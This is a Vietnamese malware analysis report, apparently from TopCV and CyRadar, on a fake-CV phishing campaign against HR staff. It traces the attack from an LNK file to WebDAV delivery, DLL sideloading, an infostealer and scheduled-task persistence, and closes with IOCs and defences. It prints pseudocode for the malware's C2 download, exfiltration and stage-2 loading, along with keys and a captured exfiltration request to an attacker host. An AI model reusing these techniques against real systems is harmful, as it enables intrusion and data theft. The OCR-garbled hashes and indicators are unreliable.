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BAO CAO PHAN TicH MOI BE DOA
Chien dich tan céng c6 chu dich nham vao
cac doanh nghiép tuyén dung tai Viét Nam

Phat hién va phan tich b&i B phan An ninh bado mat TopCV (ANBM) va Céng ty C6 phan An
toan thdng tin CyRadar
Ngay phat hanh: 09/06/2026

Mirc dd nguy hiém The&i diém phat hién D6i twong nham dén Vector ban dau

CAO (HIGH) 28/05/2026 B6 phan Nhan sw/HR Fake CV / Phishing

1. TONG QUAN CHIEN DICH

B&i canh phat hién va mc dd nguy hiém

A CANH BAO: bay la chién dich tAn cong cé chu dich (Targeted Attack) nhdm vao nhan sw
cta cac doanh nghiép tuyén dung tai Viét Nam. K& tan cong loi dung quy trinh xét duyét CV
thdng thwerng dé phat tan ma doc tinh vi, két hop nhiéu ky thuat evasion va st dung ha tang
Cloudflare Workers dé an gidu C2 server.

Vao ngay 28/05/2026, bo phan An ninh bdo mat ciia TopCV (ANBM) phéi hop cung CyRadar
phat hién mét chién dich tAn cong tinh vi nhdm vao can bd nhan sw cla cac doanh nghiép dang
st dung nén tang tuyén dung. Ké tn cong da gid mao (ng vién, nhing duéng link déc hai vao
trong CV, va du dé nhan sy tai vé mot file ZIP chira ma doc dwoc nguy trang thanh file PDF.
Chién dich nay c6 diém twong déng ré rang véi nhém GOLD BLADE (RedCurl) — mét nhom
cybercriminal qudc t& da bj Sophos va nhiéu té chirc bdo mat ghi nhan tir ndm 2024. Pay 1a 1an
dau tién mot chién dich theo mé hinh nay dwoc xac nhan nham vao thi trudng Viét Nam.

Théng tin chinh Chi tiét

Tén chién dich TopCV-Workers-20260528

Thoi diém phat hién 28/05/2026, 16:46 — 17:20 (ICT)

Vector tin cong ban dau File PDF gia mao CV (rng vién, nhang link phishing
Ha tang C2 Cloudflare Workers (workers[.]Jdev)

Ky thuat phan phéi payload WebDAV qua HTTPS (UNC Path @SSL)

Ma doc chinh query.dll — Trojan Downloader/Dropper (PE64)
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Payload cudi ConfigSM_VFJVTkdQSEOXMOFE.exe — Infostealer + Downloader
Persistence Scheduled Task qua pcalua.exe — conhost.exe (LOLBIN)

CAO — DPanh cp théng tin, cé kha ndng leo thang thanh

Mirc d6 nguy hiém
- ransomware

Ea

CV gia CV Applicant CV 7283-85619.

CV-HRS-00431-DFG2ABBE3.exe B query.dil Tl MALICIOUS
Si d File sach. c6 chir kv s6 LoadLibrary() e » - HTTPS:443
T dono goi quervdicona trmue | 21 ESaall Dynamic API resolution [
Sonedieed Task ConfigSM_VFJVTkdQSEOXMOFE.exe
Thu thap: ComputerName, Username.
DnsDomain, file listing, credentials
- Giri vé C2 ab8b.37b5962....workers.dev

. Tai & thire thi payload stage 2

TopCV-Workers-20260528 — Attack Chain

conhost.exe dav.aicviesponse
-workdrs.dev

a7eb.c7b6b302

WUIRE> dev

2. DIEN BIEN TAN CONG THEO THO GIAN

Bo phan ANBM TopCV phat hién dau hiéu bat thwong ban dau trong CV. Sau d6 tai hién chudi su kién
diéu tra tlr logs ghi nhan

2.1 Giai doan Tiép can Ban dau (Initial Access)

2026-05-28 16:46:29 — NOi dung CV ddc hai

File CV dwoc hién thi dang PDF tré~n triph duyét mac dinh. Bén trong file PDF nay, ké tan cbng
da nhung moét dwdng link déc hai dan dén domain phishing:
https://view.cvinstantapplication.workers[.]dev/id/06b30/QGvntopcv0528d
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APPLICANT CV

Dayforce Safe Resume Share

VIEW

Click Phishing Domain

RESUME DOES NOT OPEN\\

on resumef REIDS 2/ view OOnNSLENTApDICS! WOk : TEYDIT ntopevUs2ea |

HOW PERSONAL INFORMATION IS PROTECTED

Daylorce has implementod § ycd procedures 1o § nad Inl oy 1 Dayforce uses recogrized

Domain nay duwoc host trén nén tang Cloudflare Workers — mot dich vu hop phap thuong
dwoc st dung cho muc dich phat trién web, khién cac hé théng bao mat khé phat hién do traffic
trdng nhw HTTPS binh thwong.

2026-05-28 17:19:28 — Tai xudng file ZIP tlr domain phishing

Sau khi trinh duyét tw dong két ndi téi link nhang trong CV, mét file ZIP d& dwoc tai xubng may
nan nhan:
CV Applicant 2090-68704.zip

2.2 Giai doan Thuwc thi (Execution)
2026-05-28 17:19:30 — Gidi nén: LNK gia mao PDF

Bén trong file ZIP chira mot shortcut Windows (.Ink) dwoc nguy trang tinh vi thanh file PDF bang
cach dat tén cd phan mé rong kép:
CV 7283-8561930.pdf.1nk
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Ky thuat nguy trang: Trén Windows, extension .Ink thwdng bi 4n mac dinh, khién nguoi dung
thay tén file la "CV 7283-8561930.pdf" va nham twéng day la file PDF thyec.

C J > Downloads > CV Applicant 9375-90795

© B = W N Sort v = View v
Name Date modlf\eJ Type Size
~ Today
| | I:] cv 5028—840‘\224.[;“1' I 6/1/2026 2:22 PM Shortcut 1KB
1
"
»
’ Click LNK File
»
»
»
»
»
2

2026-05-28 17:19:37 — WebDAV Execution qua UNC Path

Khi nhan sy m& file .Ink, Windows xtr Iy shortcut va tw dong két nbi dén WebDAV server clia ké

tan cdng qua UNC Path dwgc ma hoa SSL:
\\dav.aicvresponse.workers|[.]dev@SSL\DaviWWWRoot

Thuc té, file .Ink goi conhost.exe (MOt binary hop phap cia Windows) véi tham sb tré dén

WebDAV server dé tai va thuc thi payload — day la ky thuat Living-off-the-Land (LOLBIN)

giup né tranh phat hién.

2.3 Giai doan Tai Payload (Payload Delivery)

2026-05-28 17:19:45-17:19:48 — WebClient tai payload ttr C2
Khi nan nhan mé file "CV 7283-8561930.pdf.Ink", Windows x{ ly shortcut va truy cap dén mot
WebDAV UNC Path dwoc nhung trong file:

"\\dav.aicvresponse.workers[.]Jdev@SSL\DavWWWRoot”

Néu két nbi thanh cong, Windows WebClient service sé tw déng cache cac file tir may chu
WebDAYV vao thw muc cuc bd:
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs DAV\

{5E2BA710-48A6-42C9-82AA-1CF9D82E43DA} .exe — CV-HRS-00431-DFG2ABBE3.exe (Loader
chinh, 61.96 KB)

{91E1C8E9-FFBO-4B52-A8DC-54E1EA9C4525) .d11 — query.dll (Trojan Downloader, 84.00 KB)
Va thuec thi file CV-HRS-00431-DFG2ABBES.exe
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[Jonly show processes still running at end of current trace

3 < | Ts.DAV - O X
’- Start Time End Time "
D e s Ve O 4o 220651922, va
“ - 4 « ServiceProfiles > LocalService > AppData > Local > Temp » TsStore » Ts_DAV v & | Search Ts_DA\ p 8. G/20269472. n/a
) IR.. 6/3/202610235... n/a
A Name Date modified  Type fe.. 6/3/20261:1948... n/a
# Quick access 12p... 6/3/2026 4:4547... n/a
[#7] (A41AC525-65C1-41EE-BA02-37DBCCAFE2BE ) exe 6/2/2026 4:46PM  Application 6/2/2026 30213... n/a
I Desktop
(DO721BD8-11C5-491€-BAT1-F574CBFOFCCA.dil ‘ 64:46PM  Applicatic 4 KB 6/2/2026 302:14... n/a
¥ Downloads e.. 6/2/202630213.. n/a
%) Documents # 6/2/2026 302:13... n/a
6/2/2026 30214... n/a
&= Pictures

6/2/2026 3.0214... n/a
—— 6/2/2026 3:02.52... n/a

Yt 6/2/2026 303.25.. n/a
mauH o 6/2/202630326.. n/a
D Music s 6/2/202632602.. n/a

B Videos 6/2/2026 3:32.58... n/a

¢ 6/2/202633258.. n/a
@ OneDrive ol 6/2/202633337... n/a
L Spl.. 6/2/2026 33337... n/a
T~ VA 6/2/20265.05:16... n/a
2bems =& . 6/2/20650956... n/a
5 2 Procmon_mod exe (3884)  |Pricdss MOntOr  C \Users\esmutanemn [N C Rader DESKTOP-D464386\.. “C \Users\ N Desktop\ProcessMo. 6/3/2026 4:48.08... n/a
£ Procmon_mod64 exe (6372]Process Montor  C:\Users e [N Sysirtemals - www sysirtemals... DESKTOP-D4G4386\... “C:\Users\Namisimmmab fppData\Local\Tem... 6/3/2026 448:16... n/a
) 8§ conhost exe (7796) Console Window .. C:\Windows\syat... | Microsoft Coporation DESKTOP-D464386\.. "C:\Windows\system32\conhost exe” CV-H... 6/3/2026 4:48.28... 6/3/2026 4:48:30

« CV-HRD-7391 1 \\dav. l Adobe Systems Incoporated ~ DESKTOP-D4643B6\... CV-HRD-7391-BAG2ABFD1 6/3/2026 4:48:30... 6/3/2026 4:48:37...

MusNotylcon exe (256) Mushotfylcon.exe  C:\Windows\eys!... [ Mcrosof Comoration DESKTOP-D464386\... “systemroot % system32\MusNotfylcon.exe... 6/3/2026 1:27:44... n/a

Desaription: AcroTextExtractor
Company:  Adobe Systems Incorporated

Path: \\dav.aicvre workers.dev@SSL\D: \CV-HRD-7391-BAG2ABFD 1.exe
Command: CV-HRD-7391-BAG2ABFD1

User: DESKTOP-D464386 iy

PID: 1612 Started: 6/3/2026 4:48:30 PM

Bxited:  6/3/2026 4:48:37PM

Go To Event Include Process Indude Subtree Close

Thoat nhin, viéc mét tép thwe thi dwoc tai xudng va khéi chay cé thé khién nhiéu ngudi nghi day
la payload déc hai chinh. Tuy nhién, qua trinh phan tich cho thdy CV-HRS-00431-
DFG2ABBE3.exe thwc chat la mét chwong trinh hop 1é mang chir ky s6 ctia Adobe Inc. va
khéng chira hanh vi ddc hai truc tiép.

Diém dang chd y ndm & tép query.dll dwoc dat cling thw muc véi chwong trinh nay. Khi khéi
chay, t&p thwc thi hop phap cla Adobe sé tim kiém va nap cac thw vién DLL can thiét ti thu muc
hién tai. K& tAn céng da loi dung co ché nay bang cach cung cdp mot DLL ddc hai cé tén
query.dll, khién chuwong trinh hop phap vé tinh tai va thwc thi ma doc thay cho thw vién hop
1é.

Day la ky thuat DLL Sideloading — mét phuwong phap thwong dwoc cac nhédm APT va tac nhan
de doa sir dung nham che gidu hoat dong ddc hai dwéi vé boc clia phan mém dang tin cay.
Trong chudi tdn céng nay, CV-HRS-00431-DFG2ABBE3.exe déng vai tro l1a tién trinh hop
phap bi lam dung, con query.dll méi la payload doc hai thwe sw, chiu trach nhiém thyc thi
cac hanh vi tiép theo cuia chién dich.

3. PHAN TiCH KY THUAT MA BOC

Phan tich chuyén sau cac thanh phan doc hai

3.1 DLL Sideloading — CV-HRS-00431-DFG2ABBE3.exe + query.dil

Thanh phan Chi tiét

CV-HRS-00431- PE64 GUI - 61.96 KB - File sach, co chir ky s6 hop I& (Signed Legitimate
DFG2ABBE3.exe Binary)

query.dll PE64 DLL - 84 KB - MALICIOUS — Trojan Downloader/Dropper
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Hash SHA256 — EE4525AE5FAA4C215C14152913ADEB14640F16C78B78F2AD92006AE62
query.dll 63BEAFF

Hash SHA256 — EXE DB560BDE3C1C839B39231301F3100F3CO9DCEF2D6A0C04652FBS8ALI1ID18E

595CE91
Co ché kich hoat EXE load query.dll cung thw muc qua DLL Search Order
Thw muc drop C:\Windows\ServiceProfiles\LocalService\AppData\Local\Tem

p\TfsStore\Tfs DAV\

Ky thuat DLL Sideloading khai thac Windows DLL Search Order: khi CV-HRS-00431-
DFG2ABBE3.exe (c6 chiv ky sb hop 1&) dwoc thuc thi, Windows tim kiém DLL phu thudc theo
thr tw — wu tién thu muc cung cap voi EXE trwdc System32. Ké tAn cong dat query.dll vao dung
thw muc dé6. AV/EDR it nghi ng& vi parent process c6 chir ky Microsoft.

3.2 query.dll — Phan tich ky thuat chi tiét

3.2.1 DIIEntryPoint va APC Injection — Thoat khéi Loader Lock

Khi EXE load query.dll, Windows goi D11EntryPoint v&i sw kién DLL PROCESS ATTACH.
Thay vi thuc thi payload tryc tiép trong DIIMain, ma doc dung ky thuat APC Injection dé defer
execution — tranh Loader Lock va bypass EDR hook:
D11lEntryPoint (DLL PROCESS ATTACH)
(- sub_1800116EC () // Init Stack Security Cookie
(- sub 18001113C() // DLL Main Dispatcher
L GetCurrentThread ()
L QueueUserAPC (pfnAPC, hThread, 0) // Defer execution
| [Thread vao alertable wait: SleepEx / WaitForSingleObjectEx]
pfnAPC - sub 18000E7DO() // APC Callback — payload thuc su
F— sub 18000EABO() // Decode APC param - string
F— sub 18000FAFO() // Cache vao global
F— sub 18000FF70() // Parse/validate
F— sub 18000EC30() // Transform 14n 1
F‘ () // Transform 1l&n 2
L () // Stage 1 Payload

sub_18000EDBO
sub_18000DCF0

Ly do hiéu qua: (1) Thoat Loader Lock — DIIMain khong thé goi API phtrc tap ma khong gay
deadlock; (2) pfnAPC chi chay khi thread & alertable wait — nhieu EDR hook DIIMain nhwng
khéng hook APC callback; (3) Kho trace trong debugger thdng thwdng vi execution bi defer.

3.2.2 String Encryption — Lehmer LCG XOR Cipher

Toan bo strings nhay cam (t&én DLL, tén API, URL C2, XOR key) dwoc ma héa bang Lehmer
LCG (Park-Miller 1988) két hop XOR. Méi block duing seed doc lap:

// Lehmer Linear Congruential Generator:

state (0) = seed // seed riéng cho tung block

state (n+l) = (48271 x state(n)) mod OX7FFFFFFF

// Giai m& tung byte:
plaintext[i] = ciphertext[i] XOR (state[i] & OxFF)
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// Seed dugc tinh qua ham sub 180001440
// Static analysis khéng thé giai ma néu khéng biét seed tung block

3.2.3 Dynamic API Resolution — Import Table trong

Import table ctia query.dil gan nhw tréng — khoéng c6 tén APl hay DLL nao rd rang. Toan bd
dworc resolve tai runtime:
// Pattern cho mbéi API can dung:

dll name = Lehmer XOR decrypt (encrypted blob N) // e.g. "shell32.dll"
func_name = Lehmer XOR decrypt (encrypted blob M) // e.g. "ShellExecuteA"
hDLL LoadLibraryA(dll_name)

pfn API GetProcAddress (hDLL, func name)
pfn API(...) // Goi qua function pointer

Hau qua vo&i defender: IDA/Ghidra/strings khong théx tén API nao. AV signature-based khong
match dwgc. Analyst can dynamic analysis (x64dbg) dé biét ma déc dung nhirng API gi.

3.2.4 Stage 1 — ShellExecuteA Decoy Beacon

Trwdc khi thwc hién hanh vi ddc hai, ham sub_18000DCF0O goi ShellExecuteA dén
topcv.vn/404 — vira nguy trang vira dung nhw danh lra ngwdi dung rang file CV nay gap 16i:
// T&t ca arguments déu duoc decrypt tai runtime:
LoadLibraryA (decrypt ('shell32.d11"))
GetProcAddress (hShell32, decrypt ('ShellExecuteA'))
ShellExecuteA (NULL, 'open',
'https://www.topcv.vn/404", // DECOY — domain tin céay
NULL, NULL, SWﬁSHOWNORMAL)

3.2.5 Stage 2 — C2 Downloader (sub_18000AC80)
Pipeline 7 bwéc clia payload downloader chinh:

OIS

Load networking Decrypt tén DLL mang — LoadLibrary — resolve 8 pfn:
library pfn_Init, pfn_Connect, pfn_OpenRequest, pfn_SendRequest,
pfn_Querylnfo, pfn_Read, pfn_SetOption, pfn_GetOption
2 KétnéiC2 pfn_Connect(session, hostname@0x1800162A0, 443) —
hostname 48 bytes, encrypted tai dia chi d6, decrypt tai
runtime
3 Vo6 hiéu SSL flags |= 0x2100

(SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
IGNORE_CERT_DATE_INVALID) — cho phép self-signed
cert, bypass TLS inspection

4  HTTP Request headers tai 0x1800161BO (64B enc), URL path:
a7eb.c7b6b302c6074d2ca05a.workers.dev — tat ca decrypt
tai runtime

5 Anti-Sandbox HTTP_QUERY_CONTENT_LENGTH — if (Size <= 90000)

abort () + sub_180008080() check bd sung. Sandbox thudng
tra response nhd hoac fake — ca hai phai pass

6 Download + Decrypt Read 10KB/lan — XOR: buffer[i] *= key[i%32]. Key:
YBDTLIdmsucyjoYjadsrcdKkBaxwDAVRL (32 bytes hardcoded
sau decrypt)
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7  Drop & Execute Skip 100KB padding dau — WriteFile(buf+100000) —
%APPDATA%\ConfigSM\ConfigSM_ {base64(hosthname)}.exe
— CreateProcess / ShellExecute

3.3 ConfigSM_{base64(hostname)}.exe — Infostealer & Stage-2 Downloader
Loai file Windows PE (MZ) - 191 KB - khéng packed, khéng ma héa

Hash FDE544FDOFF540B134EC19C5661AD372756C4C719E9A0C9A604F3EBDB2E62D77
SHA 256

C&C ab8b[.]13705962987264fc6812c[.]workers[.]dev:443
Server

Thuat AES-CBC, key = SHA256 (transform(CLI arg))
toan ma
hoa

Giao tiép HTTPS POST, body = Base64 URLSafe (AES CBC (data))
C2

CLI 3d819ca28b78 — Campaign/Bot token, dung dé derive AES key
Argument

Phase 1 — Khéi dong & Derive AES Key
ConfigSM nhan CLI argument 3d819ca28b78 tir Scheduled Task, thwc hién transform va derive

AES key:
argv[l] = "3d819ca28b78"
dup = duplicate(argv[1l]) // internal string copy
derived = custom transform(dup) // xu 1y chudi
aes key = SHA256 (derived) // 32-byte AES-256 key

// Giai m& cac gia tri cdu hinh (AES-CBC vo&i key vua tao):
c2 host = AES CBC decrypt (blobl) // — ab8b.37b5962...workers.dev
phase2 key = AES CBC decrypt (blob2) // — "VEdbdNYj"

Phase 2 — Thu thap théng tin hé théng
Ma déc thu thap théng tin may nan nhan qua cac Windows API:

Windows API Dir liéu thu thap

GetComputerNameA () Tén may tinh — ComputerName
GetUserNameA () Tén nguwdi dung hién tai —
Username

GetComputerNameExA (ComputerNameDnsDomain) Tén DNS Domain cla té chirc
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SHGetSpecialFolderPathA + FindFirstFileA Danh sach file & thw muc tai:

/ FindNextFileA / FindClose C:\Program Files
%USERPROFILE%\Desktop |
%LOCALAPPDATAY

Phase 3 — Ma héa & Exfiltrate vé C2
// Pbéng gbdi payload exfil:
data = join(ComputerName, Username, DnsDomain,
file listing, phase2 key)

// Ma& hdéa AES-CBC:
encrypted = AES CBC encrypt (data, key=aes key, iv=random)
payload = Base64 URLSafe encode (encrypted)

// Gui vé& C2 qua HTTPS POST:

POST https://ab8b[.]37b5962987264fc6812c.workers.dev
User-Agent: [decrypted at runtime]

Content-Type: [decrypted at runtime]

Body: <payload>

[METHOD] POST

[PATH] /

[VERSION] HTTP/1.1

[FROM] 192.168.91.129:49812

[HEADERS]

Content-type: application/x—www—form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 10.8; Win6l; x6U4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.8.8.0 Safari/5
37.36

Host: ab8b.37b596298726Ufc6812c.workers.dev

Content-Length: 1U98

Cache-Control: no-cache

[BoDY]
vikeffmzni=NCOiOzw-IEU7PSUnPyc6&syycqp=&xrpnrvystmuc=JABCBA==&tk]prepg=0&duxwfnfozvs=XmV7XkZ8e LhAQEgOFAEFHXxp8el9cKgEBF
WIwABgdGQsQBAEeHkgnFRoYFgEUAMVTMREFHyAe BAMUCWY TMwecHQcFUCUYHABCFWIVFRsaBAcBXgEFGWYTFAcFHgOFFWI2HwcWHAL8e i AJNGVTOSwWUCLIDF
QOGERoUUFBFQ2V70QYFFRofFRXRNRABHACDFRp8eileF AEXGQKTHABMGQYVHX8CMRgBA2VTPTszBQEdFGVTPikiPWV7HgcVFQICFWI_HxwUAAKVWON8eiYBE
wKBFWI-AABFOiw6fWI jFQUUAGEFEWIRMRSCFQUTHAEUA2VT7IQYYHhsFEQQdUCEFFgcDHQKFGQcFfWInPRBQAg18e j8YHgweBxtRNAGXFQYVFRp8e j8YHgweB
xtRNABXFQYVFRpRMQWHEQYSFQxRJIAADFQKFUDgDHxwUE xwYHwZ8e j 8YHgweBxtRPQkYHGV7IWEFFACGABgBFQwYEUghHAKIFRp8e j8YHgweBxtRPROBAECF
QwYEUghHAKFFgcDHWV 7 JwEFFAcGABg_JGVTIWEFFAcGABghGAcFHBgNGQeGFRpBe jBYHgweBxtRIAcDBAKTHA1RNAGHGQSUA2VTIWEFFAcGABGiFQsEAQEFC
WVT7IWEFFAcGARgiGQWUEgkDFWIMGQYVHx8CMRgBAZ2VTIWEFFAcGAZgeBwODIwAUHARBe j8YAgOCGAKDG2YVTFWI8ekZBekZ FFWINABgdGQsQBAEeHkg1ERWQF
WIzHxACBAKDBAGDFWIYGAcSHysQEWAUFWIyHWUCAZVTMwcFHgBSBABVNABHGYsUAZgdERWXHxocFfWI2HwcWHA18eiAYAxweAhF8e iESHWYYEQsZFUYVEmMVTP
QESAgcCHWUFFWIFAAVCEWkSGA18eiYENWBFFWIhEQsaEQ8UUCSQEWAUFWIhEQsaEQBUA2VTIAGUALWYAxwjFRGEEmMV7AAEBFWIhHAKSFQAeHAWUA jwYHAGOH
wBeNgcdFABDFfWIhAgcWAghkcA2VTIBOTHAECGABDA2YVTIABCAGYTIABCAACDEROIUCEfBABDHg OFUCHYHABCFWINGRoFBQkdI xweAql BemVTHWIFFWIFXmVTQ
QUaGwkCBh8CAg1fBAUBFWIQBgKYHAKTHABUAAKSGwKWFREFBBAFFfWISFRoFXhgUHWV7EwcFFgEWXhACHGY TMwcFFgEWIyUuJil7.J jwaFDkiNVgJPVg3NUYUC
ALfGQYXFQsFFQx8egwUAWMFHxhFGQYYFWIXEQMUHgOFLwQeFxtfHAYafWIYHhsFEQQdXhgCQWV7THQMaERSHBxsDFUYFHRh8e jgilzwDEQYCExoYABWCFWILH
=JgUVEgw_HQI= ir=

Phase 4 — Anti-Debug & Tai Payload Stage 2
Truwdc khi nhan response tir C2, ma déc kiém tra méi trwéng phan tich:

// Anti-debug check:
if (IsDebuggerPresent()) { exit(0); 1} // Dung ngay néu cé debugger

// Nhan va giai ma payload stage 2:
response = HTTP read response (c2 connection)
stage2 dll = AES CBC decrypt (response, key="VfdbdNYj")

// Drop file tam cung thu muc vdi md doéc:
dir = GetCurrentDirectoryA ()

tmp path = dir + "\\mkkasvwsre.tmp"
WriteFile (tmp path, stage2 dl1l)
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// Load & Execute file in-memory:
hLib = LoadLibraryA (tmp path)

pfn = GetProcAddress (hLib, "VfdbdNYj") // Export function

pfn() // Thuc thi stage 2

// Self-cleanup — xdéa dau vét:

DeleteFileA (tmp path) // Kiém tra thém trong System32, SysWOW64

3.4 Persistence — Scheduled Task qua LOLBIN chain 3 ting

Sau khi thire thi thanh cong, tién trinh svchost.exe tao Scheduled Task. Ky thuat noi bat la chubi
LOLBIN 3 tang pcalua.exe — conhost.exe — ConfigSM.exe — moi binary déu cé chir
ky Microsoft, khién process tree trébng hoan toan hop é:

// N&6i dung Scheduled Task (rut gon):

<Author>Google Corporation</Author> // Gia mao vendor
<URI>\ConfigSM\ConfigSM-VFJVTkdQSEOxMOFE</URI>
<Interval>PT30M</Interval> // Chay mdi 30 phut

<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Command>C:\Windows\system32\pcalua.exe</Command> // LOLBIN tang 1
<Arguments>-a conhost -c —--headless // LOLBIN tang 2

ConfigSM VFJVTkdQSEOxMOFE 3d819ca28b78</Arguments> // Payload + token
<WorkingDirectory>%APPDATA%\ConfigSM</WorkingDirectory>
<RunlLevel>LeastPrivilege</RunLevel> // Khéng can admin / UAC

// Chudi thuc thi:
svchost.exe (Task Scheduler)

L. pcalua.exe -a conhost ... (LOLBIN 1 — Program Compatibility Assistant)
L conhost.exe --headless ... (LOLBIN 2 — Console Host)
- ConfigSM VFJVTkdQSEOxMOFE.exe 3d819caz28b78 (Payload)
Author Google Corporation Gia mao vendor uy tin — sysadmin dé

bd qua khi review task list

Base64 trong tén VEJVTkdQSEOxMOFE — Hostname nan nhé&n encode vao tén
baset4 (hostname) task — persistence riéng biét theo
teng may
LOLBIN chain pcalua - conhost — 3 tingbinary MS-signed: process tree
payload trong hop 1€ v&i EDR filter theo
process name
Trigger PT30M (30 phut) Tw kh@j doéng lai dinh ky, ké ca sau khi
bi kill bang tay
RunLevel LeastPrivilege Khéng can admin, khéng trigger UAC
— hoan toan tang hinh v&i user thong
thwong
ExecutionTimeLimit PT72H Process chay lién tuc tbi da 72 gio —

du thoi gian exfil toan bo dir liéu
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Phét hién qua Sysmon: Chudi pcalua.exe — conhost.exe spawning trong context Scheduled
Task 1a dau hiéu bat thwong. Trong méi trwdng binh thwong, pcalua.exe (Program
Compatibility Assistant) khéng bao gi& goi conhost.exe v&i tham sé --headless. Sysmon
Event ID 1 v&i CommandLine filter trén pcalua.exe va conhost.exe la phwong phap phat hién
hiéu qua nhat. Can bd sung rule: alert khi WorkingDirectory chira AppData\Roaming va
CommandLine chira --headless.

4. BOI CANH TOAN CAU & LIEN HE QUOC TE

So sanh véi cac chién dich da biét trén thé gidi

Cac ky thuat va ha téng dwoc quan sat trong chién dich nay co sv tuwong déng ré rang voi nhiéu
chién dich da dwoc ghi nhan béi cong ddng bao mat qubc té. Pay la bang chirng cho thay ké tn
coéng dang ap dung playbook da qua kiém chirng ctia cac nhém APT va cybercriminal qubc té
vao moi trwong Viét Nam.

- , Piém twong dong vé&i TCV-
Shisaiicl 20260528

Fake CV PDF — ZIP — LNK —

GOLD BLADE (Sep—- RedCurl / GOLD 2024-2025 conhost — WebDAV Cloudflare
Jul 2025) BLADE — DLL Sideload — Scheduled
Task

Early Bird APC Injection trong
SERPENTINE#CLOUD Unknown 2025 DLL dropper, Cloudflare Tunnel
WebDAV

Cloudflare Tunnel WebDAV, LNK

Proofpoint Cluster Unknown 2024 trong ZIP, RAT delivery

LNK gia PDF, LOLBIN chain, anti-

CVE-2024-21412 Multiple actors 2024 sandbox, decoy URL

Nhan dinh vé Attribution: Dua trén diém twong dong vé TTP (Tactics, Techniques, and
Procedures), ha tang Cloudflare Workers, chudi LOLBIN (conhost — pcalua — payload), k¥
thuat APC injection va Lehmer LCG XOR cipher trong DLL dropper, chién dich nay cé kha
néng cao lién quan dén nhém GOLD BLADE hodc mét threat actor dang sao chép playbook
cla nhém nay.

Bay Ia lan dau tién mo hinh tan cong HR qua fake CV theo kiéu GOLD BLADE duoc xac
nhan nham vao thj trwdng tuyén dung tai Viét Nam.

| Trang 11



CyRadar

Threat Intelligence Report

5. MITRE ATT&CK MAPPING

Anh xa k¥ thuat tAn cong theo framework MITRE ATT&CK

D Tenkythua o t ép dung

T1566.

T1204

T1218.

T1105

T1055.

T1574

T1027

T1071.

T1553.

T1053.

T1082

T1083

T1041

T1140

002

.002

011

004

.002

001

002

005
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Phishing:
Spearphishing Link

User Execution:

Malicious File

Signed Binary Proxy:
Rundli32

Ingress Tool Transfer

Process Injection: APC
Injection

DLL Side-Loading

Obfuscated
Files/Information

Application
Protocol: Web

Layer

Subvert Trust Controls:
Code Sign

Scheduled Task/Job

System Information
Discovery

File and Directory
Discovery

Exfiltration Over C2
Channel
Deobfuscate/Decode
Files

Link phishing nhung trong CV PDF, du nhan sy HR
click

Nan nhan mé file .Ink bi nguy trang thanh PDF

conhost.exe va pcalua.exe dwgc dung thay cho
rundll32

Tai payload tir WebDAV Cloudflare Workers qua
HTTPS

query.dll dung QueueUserAPC() dé thoat Loader
Lock

DLL dworc load qua binary hgp phap cia Windows

Lehmer LCG XOR cipher ma hoa toan bo strings

C2 qua HTTPS port 443, SSL cert validation bi
disable

Icon msedge.exe trén file .Ink dé bypass visual trust

Tao task chay mdi 30 phut qua pcalua — conhost
chain

ConfigSM thu thap ComputerName, Username,
DnsDomain

Liét ké file tai Program Files, Desktop, AppData

GUri théng tin may vé C2 qua HTTPS POST ma hoa
AES-CBC

XOR decrypt payload v&i key 32 bytes tai runtime
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6. INDICATORS OF COMPROMISE (I0C)

Céc chi sb phat hién xam pham — da dwoc defang

6.1 Domain & URL

Loai IOC Gia tri Hash SHA256 (rut gon)

Domain workers([.]dev _
Domain view[.]cvinstantapplication[.]workers[.]dev

Domain dav[.]aicvresponse([.]workers|[.]dev —

Domain a7leb.c7b6b302c6074d2cal5a[.]workers[.]dev ‘(;‘UA?:Ule payload
Domain ab8b[.]137b5962987264£c6812¢c[.Jworkers[.]dey oo _[0en thong o tinotu

ConfigSM.exe

https://dav[.]aicvresponse.workers|[.]dev/CV-

URL HRS-00431-DFG2ABBE3.exe

URL tai payload chinh

URL Decoy topcv[.]lvn/404

6.2 File
File (ZIP) CV Applicant 2090-68704.zip fdba3aeb6c8488ac14d07932d9164. ..
File (LNK) CV 7283-8561930.pdf.1nk a343c2cefbe 51227be513c5
File (LNK) CV 5028-8401224.pdf.1lnk b3ea2laced26fcffa855a55983850
File (PDF) ca2e3al5£891b1815507254103f4d2ee. pdf a7098abbe3b488cc6026c0cd9778. . .

q CV-HRS-00431-DFG2ABBE3.exe B
db560bde3clc839039231301£3100. ..
File (EXE) ({SE2BA710...}.exe) db560bd 1 39231301 £31(

F“e(EXE) ConfigSMﬁVFJVdeQSEOXMOFE.exe fde544£fd0f£540b134ecl9cb5661lad3...
F“e(EXE) CV-HRD-7391-BAG2ABFD1.exe db560bde3c1c839039231301£3100...
File (DLL) query.dll (2026601 variant) eed525ae5faad4c215¢c14152913adeb. ..

6.3 Strings & Keys
Loai I0C Gia tri Hash SHA256

key 32 Dbytes gidi ma

XOR Key YBDTLldmsucyjoYjadsrcdKBaxwDAVRL I
payload tu C2

| Trang 13
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Export function cua

API Export VEdbdNY j payload stage 2

Scheduled

Task \ConfigSM\ConfigSM-VFJVTkdQSEOXMOFE Task URI persistence

CLlI 3d819¢a28b78 Campalqr}; D /‘ Bot Eoken

Argument — dung dé derive AES key
File tam chtta payload

Temp File mkkasvwsre.tmp stage 2 (tu xbéa sau khi
load)

i i WebDAV :
Working Dir \\dav.aicvresponse.workers[.]dev@SSL\DaviWWWRoot /ngZA : [_JNL Path trong
LNK file .lnk

7. KHUYEN NGHI PHONG THU

Cac bién phap rng phé va phong ngtra theo mirc dé wu tién

Uu tién ngay lap tirc: Cac bién phap bén duwdi dugc sap xép theo mirc d6 wu tién giam dan.
T chirc nén trién khai theo thir tw tir trén xudng, bat dau tir cac bién phap co tac dong cao
nhat.

e [P1- KHAN] Tang cwong giam sat: Trién khai Sysmon + EDR v&i day du telemetry |
Cung cap kha nang quan sat can thiét cho phat hién, diéu tra va san tim mdi de doa.
Trién khai DNS filtering va Web Proxy dé phat hién hoac chan truy cap t&i cac mién ¢o
do tin cay thap, mién mai dang ky hodc ha tang déc hai da biét.

« [P1 - KHAN] Block WebClient service trén endpoint: Disable hodc set "Manual" cho
Windows WebClient service trén cac endpoint khéng cé nhu cau dung WebDAV. Kiém
tra: Get-Service WebClient.

